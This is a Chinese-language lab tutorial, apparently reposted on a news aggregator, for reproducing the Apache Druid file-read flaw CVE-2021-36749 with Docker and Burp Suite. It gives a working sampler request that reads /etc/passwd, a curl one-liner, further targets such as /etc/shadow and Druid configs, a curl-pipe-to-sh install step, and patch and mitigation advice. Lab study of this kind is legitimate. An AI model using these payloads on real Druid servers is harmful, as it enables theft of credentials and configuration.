当前位置: 首页 > news >正文

别再只盯着CVE-2021-36749了,手把手教你用Docker+Burp复现Apache Druid任意文件读取漏洞

从零构建Apache Druid漏洞实验环境:实战任意文件读取漏洞复现

在安全研究领域,漏洞复现不仅是验证理论知识的必经之路,更是深入理解系统脆弱性的关键方法。Apache Druid作为一款高性能的实时分析数据库,其CVE-2021-36749漏洞因简单直接的利用方式成为安全测试的经典案例。本文将带你从零开始,使用Docker搭建隔离的漏洞环境,配合Burp Suite进行流量分析,最终实现漏洞的完整复现。

1. 实验环境搭建与准备

1.1 Docker环境配置

首先确保你的系统已安装Docker引擎。对于Linux用户,推荐使用官方脚本一键安装:

curl -fsSL https://get.docker.com | sh sudo systemctl enable --now docker

验证安装是否成功:

docker --version

接下来拉取包含漏洞的Apache Druid镜像。这里我们使用社区维护的漏洞测试镜像:

docker pull vulfocus/druid-cve_2021_36749

启动容器时需要注意端口映射和持久化配置:

docker run -d -p 8888:8888 --name druid_vuln vulfocus/druid-cve_2021_36749

提示:如果8888端口被占用,可以通过-p 新端口:8888参数修改映射端口

1.2 基础环境验证

容器启动后,访问http://localhost:8888应该能看到Druid的Web界面。典型的初始化过程包括:

  • 检查容器日志确认服务正常启动
  • 验证Web界面可访问性
  • 确认基础API端点响应正常
docker logs druid_vuln curl -I http://localhost:8888/status

2. Burp Suite代理配置与流量捕获

2.1 代理环境搭建

Burp Suite是安全测试中不可或缺的工具。配置步骤如下:

  1. 启动Burp Suite Community/Professional版
  2. 在Proxy → Options中确认监听端口(默认8080)
  3. 配置浏览器或系统全局代理指向Burp

对于命令行工具如curl,可以通过-x参数指定代理:

curl -x http://127.0.0.1:8080 http://localhost:8888

2.2 正常流量分析

首先捕获Druid的正常API请求,特别关注以下几个关键端点:

  • /druid/indexer/v1/sampler
  • /druid/coordinator/v1/loadstatus
  • /druid/indexer/v1/task

通过Burp的Proxy → HTTP history查看请求结构,重点关注:

  • HTTP方法(通常为POST)
  • 请求头(Content-Type等)
  • 请求体格式(JSON结构)

典型正常请求示例:

POST /druid/indexer/v1/sampler HTTP/1.1 Host: localhost:8888 Content-Type: application/json { "type":"index", "spec":{ "ioConfig":{ "type":"index", "inputSource":{ "type":"http", "uris":["http://example.com/data.json"] }, "inputFormat":{ "type":"json" } }, "dataSchema":{ "dataSource":"sample", "timestampSpec":{ "column":"timestamp", "format":"iso" } } } }

3. 漏洞原理与利用构造

3.1 漏洞成因分析

CVE-2021-36749的核心问题在于Druid的InputSource组件对用户提供的URI参数未做充分验证。攻击者可以通过构造特殊的file协议URI,诱使服务器读取任意文件。

漏洞关键点:

  • 影响组件:org.apache.druid.java.util.common.StringUtils
  • 危险方法:uriToString未正确处理file协议
  • 利用条件:需要能够向/druid/indexer/v1/sampler发送POST请求

3.2 Payload构造技巧

利用漏洞读取/etc/passwd的恶意请求示例:

POST /druid/indexer/v1/sampler HTTP/1.1 Host: localhost:8888 Content-Type: application/json { "type":"index", "spec":{ "ioConfig":{ "type":"index", "inputSource":{ "type":"http", "uris":["file:///etc/passwd"] }, "inputFormat":{ "type":"json" } }, "dataSchema":{ "dataSource":"exploit", "timestampSpec":{ "column":"timestamp", "format":"iso" } } } }

关键修改点:

  • inputSource.type保持为http(实际利用file协议)
  • uris数组中使用file://协议
  • 路径使用绝对路径(如/etc/passwd

3.3 响应分析与数据提取

成功利用后,服务器响应中会包含目标文件内容。典型响应结构:

{ "data": [ { "raw": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n..." } ] }

提取技巧:

  • 使用jq工具处理JSON响应
  • 注意Base64编码的可能性
  • 处理可能的分块响应
curl -s -X POST http://localhost:8888/druid/indexer/v1/sampler -H "Content-Type: application/json" -d @payload.json | jq '.data[].raw'

4. 进阶利用与防护方案

4.1 漏洞利用的扩展

除了读取/etc/passwd,还可以尝试:

  • 系统关键配置文件(如/etc/shadow
  • Druid自身配置文件(如conf/druid/cluster/_common/common.runtime.properties
  • 日志文件(如logs/druid/historical.log

Windows系统下的利用路径示例:

"uris": ["file:///C:/Windows/System32/drivers/etc/hosts"]

4.2 漏洞修复方案

官方修复措施包括:

  1. 升级到安全版本:

    • Druid 0.21.1及以上
    • Druid 0.20.2及以上
  2. 临时缓解措施:

    • 网络ACL限制访问
    • 使用WAF过滤恶意请求
    • 禁用不必要的API端点

版本检查命令:

docker exec druid_vuln find / -name "druid-*.jar" -exec sh -c 'unzip -p {} META-INF/MANIFEST.MF | grep "Implementation-Version"' \;

4.3 实验环境清理

完成实验后,记得清理Docker资源:

docker stop druid_vuln docker rm druid_vuln docker rmi vulfocus/druid-cve_2021_36749

对于Burp Suite,建议:

  • 清除项目文件
  • 重置代理设置
  • 删除敏感请求历史
http://www.jsqmd.com/news/903091/

相关文章:

  • 华为何庭波:数万人历经七年,铸成‘莫邪干将’剑!
  • 教育部:严查论文重复率!看着室友定稿自己还在挣扎,实测8款AI查重降重工具帮你追赶进度 - 逢君学术-AI论文写作
  • 从雷赛伺服电机选型案例出发:如何把11.9倍的糟糕惯量比优化到5倍以内?
  • Playwright + 三大AI测试智能体实战:从用例生成到自动修复全记录(附可复现命令)
  • TCRT5000红外循迹传感器:从光电原理到Arduino机器人实战
  • 如何一键安装BetterNCM:网易云音乐插件管理终极指南
  • 2026成都环氧自流平包工包料技术全解析与合规推荐 - 优质品牌商家
  • Magpie-LuckyDraw:终极免费开源抽奖系统,全平台高效部署指南
  • DFRobot Devastator坦克机器人套件组装与Arduino控制实战指南
  • 2026年成都系统开发公司技术实力实测盘点:成都软件开发、四川APP开发、四川CRM开发、四川GEO优化、四川UI设计选择指南 - 优质品牌商家
  • 逆向思维:不装证书,用Burpsuite+Proxifier也能抓微信小程序的包?聊聊另一种思路
  • 在持续集成中利用 Taotoken 实现构建日志的智能分析与错误归因
  • Spring Boot配置绑定避坑指南:为什么你的@ConfigurationProperties对Map、List和嵌套对象不生效?
  • 西宁黄金上门回收首选福运来黄金回收,2026年五月行情参考 - 黄金回收
  • 终极英雄联盟工具箱League Akari:LCU API驱动的专业游戏助手完整指南
  • 终极文档下载解决方案:kill-doc让你所见即所得
  • Poppins字体终极指南:免费开源的多语言几何字体解决方案
  • 贵阳黄金上门回收实评,福运来黄金回收高居榜首 - 黄金回收
  • Windows磁盘空间终极管理方案:免费高效的WinDirStat完整指南
  • 从挖掘机到注塑机:手把手拆解液压系统在工业设备中的核心应用与选型要点
  • 衢州黄金上门回收,福运来黄金回收备受信赖之选 - 黄金回收
  • 告别硬编码断言!基于Skills的接口测试,智能体自动组合请求与校验(附代码)
  • 一文讲透|盘点2026年遥遥领先的的降AIGC网站
  • STM32F405外设时钟分配实战指南:你的ADC、TIM、USB时钟到底从哪来?
  • 别再手动清标志位了!STM32F103 DMA通道5配合串口1空闲中断的配置详解与优化
  • Lumafly:空洞骑士模组管理终极指南,告别繁琐的一键式解决方案
  • 从零构建光控LED电路:原理、设计与调试全流程实战
  • 2026四川环氧彩砂地坪施工厂家推荐:四川聚脲防水地坪包工包料/成都厂房地坪施工/合规标杆盘点 - 优质品牌商家
  • 如何快速实现PowerShell脚本编译:Win-PS2EXE完整指南
  • Verdi波形分析效率翻倍:这5个隐藏技巧,帮你快速定位信号与状态机